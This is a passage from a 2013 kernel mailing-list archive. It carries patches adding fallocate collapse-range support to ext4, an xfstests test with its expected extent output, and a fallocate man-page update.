++++++++++++++++++++++++++++++++++++++++++++++++++ tests/shared/317.out | 85 ++++++++++++++++++++++++++++++++++++++++++++ tests/shared/group | 1 + 3 files changed, 182 insertions(+) create mode 100644 tests/shared/317 create mode 100644 tests/shared/317.out diff --git a/tests/shared/317 b/tests/shared/317 new file mode 100644 index 0000000..1d7c384 --- /dev/null +++ b/tests/shared/317 @@ -0,0 +1,96 @@ +#! /bin/bash +# FS QA Test No. 317 +# +# Test multiple fallocate collapse range calls +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 Samsung Electronics. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +# +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "rm -f $tmp.*; exit \$status" 0 1 2 3 15 + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs xfs ext4 +_supported_os Linux + +_require_scratch +_require_xfs_io_fiemap +_require_xfs_io_falloc_collapse +_do_die_on_error=y +test=$SCRATCH_MNT/test +testfile=$SCRATCH_MNT/317.$$ +BSIZE=4096 +BLOCKS=10240 + +# Filters fiemap output +_filter_fiemap() +{ + awk --posix ' + $3 ~ /hole/ { + print $1, $2, $3; + next; + } + $5 ~ /0x[[:xdigit:]]+/ { + print $1, $2, "extent"; + }' +} + +case $FSTYP in + ext4) + export MKFS_OPTIONS="-F -b $BSIZE" + ;; + xfs) + export MKFS_OPTIONS="-f -b size=$BSIZE" + ;; +esac + +# make filesystem on scratch with 4KB blocksize +_do 'make filesystem on $SCRATCH_DEV' '_scratch_mkfs' +_do 'mount filesytem' '_scratch_mount' + +# Write file +length=$(($BLOCKS*$BSIZE)) +$XFS_IO_PROG -f -c "pwrite 0 $length" -c fsync $testfile > /dev/null + +# Collapse alternate blocks +for (( i = 1; i <= 7; i++ )); do + for(( j=0 ; j < $(($BLOCKS/(2**$i))) ; j++ )); do + offset=$(($j*$BSIZE)) + $XFS_IO_PROG -c "fcollapse $offset $BSIZE" $testfile > /dev/null + done +done + +# Check if 80 extents are present +$XFS_IO_PROG -c "fiemap -v" $testfile | _filter_fiemap + +_do 'unmount $SCRATCH_DEV' 'umount $SCRATCH_DEV' +_do 'repair filesystem' '_check_scratch_fs' + +# success, all done +status=0; exit diff --git a/tests/shared/317.out b/tests/shared/317.out new file mode 100644 index 0000000..836f0fe --- /dev/null +++ b/tests/shared/317.out @@ -0,0 +1,85 @@ +QA output created by 317 +make filesystem on $SCRATCH_DEV... done +mount filesytem... done +0: [0..7]: extent +1: [8..15]: extent +2: [16..23]: extent +3: [24..31]: extent +4: [32..39]: extent +5: [40..47]: extent +6: [48..55]: extent +7: [56..63]: extent +8: [64..71]: extent +9: [72..79]: extent +10: [80..87]: extent +11: [88..95]: extent +12: [96..103]: extent +13: [104..111]: extent +14: [112..119]: extent +15: [120..127]: extent +16: [128..135]: extent +17: [136..143]: extent +18: [144..151]: extent +19: [152..159]: extent +20: [160..167]: extent +21: [168..175]: extent +22: [176..183]: extent +23: [184..191]: extent +24: [192..199]: extent +25: [200..207]: extent +26: [208..215]: extent +27: [216..223]: extent +28: [224..231]: extent +29: [232..239]: extent +30: [240..247]: extent +31: [248..255]: extent +32: [256..263]: extent +33: [264..271]: extent +34: [272..279]: extent +35: [280..287]: extent +36: [288..295]: extent +37: [296..303]: extent +38: [304..311]: extent +39: [312..319]: extent +40: [320..327]: extent +41: [328..335]: extent +42: [336..343]: extent +43: [344..351]: extent +44: [352..359]: extent +45: [360..367]: extent +46: [368..375]: extent +47: [376..383]: extent +48: [384..391]: extent +49: [392..399]: extent +50: [400..407]: extent +51: [408..415]: extent +52: [416..423]: extent +53: [424..431]: extent +54: [432..439]: extent +55: [440..447]: extent +56: [448..455]: extent +57: [456..463]: extent +58: [464..471]: extent +59: [472..479]: extent +60: [480..487]: extent +61: [488..495]: extent +62: [496..503]: extent +63: [504..511]: extent +64: [512..519]: extent +65: [520..527]: extent +66: [528..535]: extent +67: [536..543]: extent +68: [544..551]: extent +69: [552..559]: extent +70: [560..567]: extent +71: [568..575]: extent +72: [576..583]: extent +73: [584..591]: extent +74: [592..599]: extent +75: [600..607]: extent +76: [608..615]: extent +77: [616..623]: extent +78: [624..631]: extent +79: [632..639]: extent +unmount $SCRATCH_DEV... done +repair filesystem... done diff --git a/tests/shared/group b/tests/shared/group index 3a69294..80ff7ec 100644 --- a/tests/shared/group +++ b/tests/shared/group @@ -12,3 +12,4 @@ 298 auto trim 305 aio dangerous enospc rw stress 316 auto quick collapse +317 auto collapse -- 1.7.9.5 From linkinjeon@gmail.com Mon Sep 2 09:30:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 96BFE7F55 for ; Mon, 2 Sep 2013 09:30:34 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 35E15AC004 for ; Mon, 2 Sep 2013 07:30:34 -0700 (PDT) X-ASG-Debug-ID: 1378132233-04bdf02f21d16ab0001-NocioJ Received: from mail-pd0-f179.google.com (mail-pd0-f179.google.com [209.85.192.179]) by cuda.sgi.com with ESMTP id 5H4Fjq54vIRhWTlH (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 02 Sep 2013 07:30:33 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.179 Received: by mail-pd0-f179.google.com with SMTP id v10so4802600pde.24 for ; Mon, 02 Sep 2013 07:30:33 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=UB68q0gPje7+O8JQbvzcsZIzBpIN/116FFMeZK6U3G4=; b=0A+5bBfQD0PVe8dp//rneeVkMyOLmmdxD+311eRle3vevE7uxmeNN06sYumzPSVGdd dhwQcVN0iTZvJjtoy3+evuwVujsIqEurX3zH76WI/xyWD+5q2yOiwYGrITY8Gj89LwI0 CEU18rbGKe/gkCr+ecGhLmUy6sOQlwf/WIspmaCOpvMnptT0S5nAZembfKqU56mnTWza g3kb4yg4ysESOCSLale85lmJmdhDSaeGJZZEV7EwMu2NJU6mA28oCVG5l6RqY8rIEgao Ui4cJ77OJur8uJjYtzxNIX8L3FkWEgQPvGRzZV4KMz+3qG53ss+nZ3KTdC0P7yJMrS9L 3ucw== X-Barracuda-BBL-IP: nil X-Received: by 10.68.247.36 with SMTP id yb4mr3752992pbc.138.1378132233077; Mon, 02 Sep 2013 07:30:33 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.169]) by mx.google.com with ESMTPSA id w6sm16246605pbt.32.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 02 Sep 2013 07:30:32 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.169 To: viro@zeniv.linux.org.uk, mtk.manpages@gmail.com, tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH v2 7/7] manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate Date: Mon, 2 Sep 2013 23:30:20 +0900 X-ASG-Orig-Subj: [PATCH v2 7/7] manpage: update FALLOC_FL_COLLAPSE_RANGE flag in fallocate Message-Id: <1378132220-2855-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f179.google.com[209.85.192.179] X-Barracuda-Start-Time: 1378132233 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140129 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Update FALLOC_FL_COLLAPSE_RANGE flag in fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- man2/fallocate.2 | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/man2/fallocate.2 b/man2/fallocate.2 index f5c395d..b042c59 100644 --- a/man2/fallocate.2 +++ b/man2/fallocate.2 @@ -7,6 +7,7 @@ .\" .\" 2011-09-19: Added FALLOC_FL_PUNCH_HOLE .\" 2011-09-19: Substantial restructuring of the page +.\" 2013-09-01: Added FALLOC_FL_COLLAPSE_RANGE .\" .TH FALLOCATE 2 2013-06-10 "Linux" "Linux Programmer's Manual" .SH NAME @@ -109,6 +110,19 @@ does not change. Not all filesystems support .BR FALLOC_FL_PUNCH_HOLE ; if a filesystem doesn't support the operation, an error is returned. +.SS Collapsing file space +Specifiying the +.BR FALLOC_FL_COLLAPSE_RANGE +flag in +.I mode +collpse space in the byte range starting at +.I offset +and continuing for +.I len +bytes, where the offset and len are aligned with block size of filesystem. +Within the specified range, it first de-allocates blocks and eliminates +the hole created in this process by shifting data blocks into the hole. + .SH RETURN VALUE On success, .BR fallocate () @@ -139,7 +153,8 @@ was less than 0, or .\" See "Re: [PATCH] fallocate.2: add FALLOC_FL_PUNCH_HOLE flag definition" .\" 21 Sep 2012 .\" http://thread.gmane.org/gmane.linux.file-systems/48331/focus=1193526 -was less than or equal to 0. +was less than or equal to 0 or in case of FALLOC_FL_COLLAPSE_RANGE +offset and len are not aligned with file system's block size. .TP .B EIO An I/O error occurred while reading from or writing to a filesystem. -- 1.7.9.5 From linkinjeon@gmail.com Mon Sep 2 09:33:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F17927F52 for ; Mon, 2 Sep 2013 09:33:26 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id DCA0830404E for ; Mon, 2 Sep 2013 07:33:26 -0700 (PDT) X-ASG-Debug-ID: 1378132405-04cbb02c3ece7a90001-NocioJ Received: from mail-pa0-f47.google.com (mail-pa0-f47.google.com [209.85.220.47]) by cuda.sgi.com with ESMTP id 2MpxpjoltDICtyBW (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 02 Sep 2013 07:33:25 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.47 Received: by mail-pa0-f47.google.com with SMTP id kl13so5227150pab.6 for ; Mon, 02 Sep 2013 07:33:24 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=KxLjUWGzQdb0J75Exlu1H8drkkFh+cfYxDIcWcdcHqc=; b=pq1dZaft1dnc7BkUL566VcpILp9bkOOcN5GYwvvE9057zlV12LPuxCoplrKnLxzwTy dTq00OzHnpTqhLhXcSkSuOkN7HY4Uh3Q0iPnLAaYVZbZyZ+s/Qkyaj8nlrxLScQgtoo/ 0LK8CIB1d1ge/rsb6xZTPOlRpBDDhry43zBI3sqps9hYowOAIZMpqjZRZlOHKB+jgIlI SyccjKib9ZuXrfuYCI6l2I194Jc1DxczR5sHYa/EWRdNI/xshdLNOj36VKan+QEARXBw ea5gVtMut5kh1DstEj+iPcY4xNrHwri6IV6VHAi3OligorGLVo7riq4R8rqQPwxhYqnm FKrw== X-Barracuda-BBL-IP: nil X-Received: by 10.66.170.168 with SMTP id an8mr27058074pac.58.1378132404853; Mon, 02 Sep 2013 07:33:24 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.169]) by mx.google.com with ESMTPSA id kd1sm17518266pab.20.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 02 Sep 2013 07:33:24 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.169 To: viro@zeniv.linux.org.uk, mtk.manpages@gmail.com, tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH v2 3/7] ext4: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Mon, 2 Sep 2013 23:32:39 +0900 X-ASG-Orig-Subj: [PATCH v2 3/7] ext4: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1378132359-2919-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pa0-f47.google.com[209.85.220.47] X-Barracuda-Start-Time: 1378132405 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140129 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add support FALLOC_FL_COLLAPSE_RANGE for fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- fs/ext4/ext4.h | 3 + fs/ext4/extents.c | 286 ++++++++++++++++++++++++++++++++++++++++++- fs/ext4/move_extent.c | 2 +- include/trace/events/ext4.h | 25 ++++ 4 files changed, 314 insertions(+), 2 deletions(-) diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index f3c43fc..a13e0f4 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -2737,6 +2737,7 @@ extern int ext4_find_delalloc_cluster(struct inode *inode, ext4_lblk_t lblk); extern int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, __u64 start, __u64 len); extern int ext4_ext_precache(struct inode *inode); +extern int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len); /* move_extent.c */ extern void ext4_double_down_write_data_sem(struct inode *first, @@ -2748,6 +2749,8 @@ void ext4_inode_double_unlock(struct inode *inode1, struct inode *inode2); extern int ext4_move_extents(struct file *o_filp, struct file *d_filp, __u64 start_orig, __u64 start_donor, __u64 len, __u64 *moved_len); +extern int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, + struct ext4_extent **extent); /* page-io.c */ extern int __init ext4_init_pageio(void); diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 54d52af..baf1faf 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -4580,12 +4580,16 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) unsigned int credits, blkbits = inode->i_blkbits; /* Return error if mode is not supported */ - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | + FALLOC_FL_COLLAPSE_RANGE)) return -EOPNOTSUPP; if (mode & FALLOC_FL_PUNCH_HOLE) return ext4_punch_hole(inode, offset, len); + if (mode & FALLOC_FL_COLLAPSE_RANGE) + return ext4_collapse_range(inode, offset, len); + ret = ext4_convert_inline_data(inode); if (ret) return ret; @@ -4884,3 +4888,283 @@ int ext4_fiemap(struct inode *inode, struct fiemap_extent_info *fieinfo, ext4_es_lru_add(inode); return error; } + +/* + * ext4_access_path: + * Function to access the path buffer for marking it dirty. + * It also checks if there are sufficient credits left in the journal handle + * to update path. + */ +static int +ext4_access_path(handle_t *handle, struct inode *inode, + struct ext4_ext_path *path) +{ + int credits, err; + + /* + * Check if need to extend journal credits + * 3 for leaf, sb, and inode plus 2 (bmap and group + * descriptor) for each block group; assume two block + * groups + */ + if (handle->h_buffer_credits < 7) { + credits = ext4_writepage_trans_blocks(inode); + err = ext4_ext_truncate_extend_restart(handle, inode, credits); + /* EAGAIN is success */ + if (err && err != -EAGAIN) + return err; + } + + err = ext4_ext_get_access(handle, inode, path); + return err; +} + +/* + * ext4_ext_shift_path_extents: + * Shift the extents of a path structure lying between path[depth].p_ext + * and EXT_LAST_EXTENT(path[depth].p_hdr) downwards, by subtracting shift + * from starting block for each extent. + */ +static int +ext4_ext_shift_path_extents(struct ext4_ext_path *path, ext4_lblk_t shift, + struct inode *inode, handle_t *handle, + ext4_lblk_t *start) +{ + int depth, err = 0; + struct ext4_extent *ex_start, *ex_last; + bool update = 0; + depth = path->p_depth; + + while (depth >= 0) { + if (depth == path->p_depth) { + ex_start = path[depth].p_ext; + if (!ex_start) + return -EIO; + + ex_last = EXT_LAST_EXTENT(path[depth].p_hdr); + if (!ex_last) + return -EIO; + + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + if (ex_start == EXT_FIRST_EXTENT(path[depth].p_hdr)) + update = 1; + + *start = ex_last->ee_block + + ext4_ext_get_actual_len(ex_last); + + while (ex_start <= ex_last) { + ex_start->ee_block -= shift; + ext4_ext_try_to_merge(handle, inode, + path, ex_start); + ex_start++; + } + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + if (--depth < 0 || !update) + break; + } + + /* Update index too */ + err = ext4_access_path(handle, inode, path + depth); + if (err) + goto out; + + path[depth].p_idx->ei_block -= shift; + err = ext4_ext_dirty(handle, inode, path + depth); + if (err) + goto out; + + /* we are done if current index is not a starting index */ + if (path[depth].p_idx != EXT_FIRST_INDEX(path[depth].p_hdr)) + break; + + depth--; + } + +out: + return err; +} + +/* + * ext4_ext_shift_extents: + * All the extents which lies in the range from start to the last allocated + * block for the file are shifted downwards by shift blocks. + * On success, 0 is returned, error otherwise. + */ +static int +ext4_ext_shift_extents(struct inode *inode, handle_t *handle, + ext4_lblk_t start, ext4_lblk_t shift) +{ + struct ext4_ext_path *path; + int ret = 0, depth; + struct ext4_extent *extent; + ext4_lblk_t stop_block, current_block; + ext4_lblk_t ex_start, ex_end; + + /* Let path point to the last extent */ + path = ext4_ext_find_extent(inode, EXT_MAX_BLOCKS - 1, NULL, 0); + if (IS_ERR(path)) + return PTR_ERR(path); + + depth = path->p_depth; + extent = path[depth].p_ext; + if (!extent) { + ext4_ext_drop_refs(path); + kfree(path); + return ret; + } + + stop_block = extent->ee_block + ext4_ext_get_actual_len(extent); + ext4_ext_drop_refs(path); + kfree(path); + + /* Nothing to shift, if hole is at the end of file */ + if (start >= stop_block) + return ret; + + /* + * Don't start shifting extents until we make sure the hole is big + * enough to accomodate the shift. + */ + path = ext4_ext_find_extent(inode, start - 1, NULL, 0); + depth = path->p_depth; + extent = path[depth].p_ext; + ex_start = extent->ee_block; + ex_end = extent->ee_block + ext4_ext_get_actual_len(extent); + ext4_ext_drop_refs(path); + kfree(path); + + if ((ex_start > start - 1 && shift > ex_start) || + (ex_end > start - shift)) + return -EIO; + + /* Its safe to start updating extents */ + while (start < stop_block) { + path = ext4_ext_find_extent(inode, start, NULL, 0); + if (IS_ERR(path)) + return PTR_ERR(path); + depth = path->p_depth; + extent = path[depth].p_ext; + current_block = extent->ee_block; + if (start > current_block) { + /* Hole, move to the next extent */ + ret = mext_next_extent(inode, path, &extent); + if (ret != 0) { + ext4_ext_drop_refs(path); + kfree(path); + if (ret == 1) + ret = 0; + break; + } + } + ret = ext4_ext_shift_path_extents(path, shift, inode, + handle, &start); + ext4_ext_drop_refs(path); + kfree(path); + if (ret) + break; + } + + return ret; +} + +/* + * ext4_collapse_range: + * This implements the fallocate's collapse range functionality for ext4 + * Returns: 0 and non-zero on error. + */ +int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len) +{ + struct super_block *sb = inode->i_sb; + ext4_lblk_t punch_start, punch_stop; + handle_t *handle; + unsigned int credits; + unsigned int rounding; + loff_t ioffset, new_size; + int ret; + + if (!S_ISREG(inode->i_mode)) + return -EOPNOTSUPP; + + if (EXT4_SB(sb)->s_cluster_ratio > 1) + return -EOPNOTSUPP; + + /* Currently just for extent based files */ + if (!ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS)) + return -EOPNOTSUPP; + + if (IS_SWAPFILE(inode)) + return -ETXTBSY; + + trace_ext4_collapse_range(inode, offset, len); + + punch_start = offset >> EXT4_BLOCK_SIZE_BITS(sb); + punch_stop = (offset + len) >> EXT4_BLOCK_SIZE_BITS(sb); + + rounding = max_t(uint, 1 << EXT4_BLOCK_SIZE_BITS(sb), PAGE_CACHE_SIZE); + ioffset = offset & ~(rounding - 1); + + /* Write out all dirty pages */ + ret = filemap_write_and_wait_range(inode->i_mapping, ioffset, -1); + if (ret) + return ret; + + /* Take mutex lock */ + mutex_lock(&inode->i_mutex); + + /* Wait for existing dio to complete */ + ext4_inode_block_unlocked_dio(inode); + inode_dio_wait(inode); + + truncate_pagecache_range(inode, ioffset, -1); + + credits = ext4_writepage_trans_blocks(inode); + handle = ext4_journal_start(inode, EXT4_HT_TRUNCATE, credits); + if (IS_ERR(handle)) { + ret = PTR_ERR(handle); + goto out_dio; + } + + down_write(&EXT4_I(inode)->i_data_sem); + + ext4_discard_preallocations(inode); + + ret = ext4_es_remove_extent(inode, punch_start, + EXT_MAX_BLOCKS - punch_start - 1); + if (ret) + goto journal_stop; + + ret = ext4_ext_remove_space(inode, punch_start, punch_stop - 1); + if (ret) + goto journal_stop; + + ret = ext4_ext_shift_extents(inode, handle, punch_stop, + punch_stop - punch_start); + if (ret) + goto journal_stop; + + if ((offset + len) > i_size_read(inode)) + new_size = offset; + else + new_size = i_size_read(inode) - len; + + truncate_setsize(inode, new_size); + EXT4_I(inode)->i_disksize = new_size; + + inode->i_mtime = inode->i_ctime = ext4_current_time(inode); + ext4_mark_inode_dirty(handle, inode); + +journal_stop: + ext4_journal_stop(handle); + up_write(&EXT4_I(inode)->i_data_sem); + +out_dio: + ext4_inode_resume_unlocked_dio(inode); + mutex_unlock(&inode->i_mutex); + return ret; +} diff --git a/fs/ext4/move_extent.c b/fs/ext4/move_extent.c index 7fa4d85..4cbebb0 100644 --- a/fs/ext4/move_extent.c +++ b/fs/ext4/move_extent.c @@ -76,7 +76,7 @@ copy_extent_status(struct ext4_extent *src, struct ext4_extent *dest) * ext4_ext_path structure refers to the last extent, or a negative error * value on failure. */ -static int +int mext_next_extent(struct inode *inode, struct ext4_ext_path *path, struct ext4_extent **extent) { diff --git a/include/trace/events/ext4.h b/include/trace/events/ext4.h index 197d312..90e2f71 100644 --- a/include/trace/events/ext4.h +++ b/include/trace/events/ext4.h @@ -2410,6 +2410,31 @@ TRACE_EVENT(ext4_es_shrink_exit, __entry->shrunk_nr, __entry->cache_cnt) ); +TRACE_EVENT(ext4_collapse_range, + TP_PROTO(struct inode *inode, loff_t offset, loff_t len), + + TP_ARGS(inode, offset, len), + + TP_STRUCT__entry( + __field(dev_t, dev) + __field(ino_t, ino) + __field(loff_t, offset) + __field(loff_t, len) + ), + + TP_fast_assign( + __entry->dev = inode->i_sb->s_dev; + __entry->ino = inode->i_ino; + __entry->offset = offset; + __entry->len = len; + ), + + TP_printk("dev %d,%d ino %lu offset %lld len %lld", + MAJOR(__entry->dev), MINOR(__entry->dev), + (unsigned long) __entry->ino, + __entry->offset, __entry->len) +); + #endif /* _TRACE_EXT4_H */ /* This part must be outside protection */ -- 1.7.9.5 From linkinjeon@gmail.com Mon Sep 2 09:33:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 32FE57F61 for ; Mon, 2 Sep 2013 09:33:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E75628F8052 for ; Mon, 2 Sep 2013 07:33:54 -0700 (PDT) X-ASG-Debug-ID: 1378132433-04bdf02f23d16c60001-NocioJ Received: from mail-pd0-f177.google.com (mail-pd0-f177.google.com [209.85.192.177]) by cuda.sgi.com with ESMTP id dvS7zkwiGNFDURvw (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 02 Sep 2013 07:33:53 -0700 (PDT) X-Barracuda-Envelope-From: linkinjeon@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.177 Received: by mail-pd0-f177.google.com with SMTP id y10so4815616pdj.22 for ; Mon, 02 Sep 2013 07:33:53 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=F4ebhWNmyA0i0NM/r8CHh8Vm86OqTlFqgGMFuIIoh8A=; b=nHV3a+qLlCbkMN1OGG3v7q/YYfmb80p3XopcyNB5/Fm7z3k5dSS4M1AngcdUMwAzbz Hpz59d3gwrnFM0DIpYzrpP4Y2FcHIu6KKqH47Rrzk30a2ofQls9KL5LqoHtvSS1auJkb 0Tn9JApOveGORy0W/8NUNfMPlHmqDuPMw5lhENPdm63oXtwukP4gmPKxpcA7XFb5vTUe 0rxIN6T/F6GyhsSWLRkrpRmlF9WNBhvxHqLZ9AseFW/q7tiDMOAtnWcYuPhicFLmdW+9 2+CCjF64WXYepxAigidaRyZ/q4poZ8T3gjRFDRTgzxeV/xIaU5e8a2MVBtgFrivGO27P qY4Q== X-Barracuda-BBL-IP: nil X-Received: by 10.66.154.169 with SMTP id vp9mr1895244pab.190.1378132433430; Mon, 02 Sep 2013 07:33:53 -0700 (PDT) Received: from linkinjeon-Aspire-One-522.kornet ([61.84.85.169]) by mx.google.com with ESMTPSA id wp8sm16265471pbc.26.1969.12.31.16.00.00 (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 02 Sep 2013 07:33:53 -0700 (PDT) From: Namjae Jeon X-Barracuda-Apparent-Source-IP: 61.84.85.169 To: viro@zeniv.linux.org.uk, mtk.manpages@gmail.com, tytso@mit.edu, adilger.kernel@dilger.ca, bpm@sgi.com, elder@kernel.org, hch@infradead.org, david@fromorbit.com Cc: linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org, linux-ext4@vger.kernel.org, xfs@oss.sgi.com, a.sangwan@samsung.com, Namjae Jeon , Namjae Jeon Subject: [PATCH v2 4/7] xfsprogs: xfsio: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Date: Mon, 2 Sep 2013 23:33:39 +0900 X-ASG-Orig-Subj: [PATCH v2 4/7] xfsprogs: xfsio: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-Id: <1378132420-2953-1-git-send-email-linkinjeon@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-pd0-f177.google.com[209.85.192.177] X-Barracuda-Start-Time: 1378132433 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140129 Rule breakdown below pts rule name description ---- 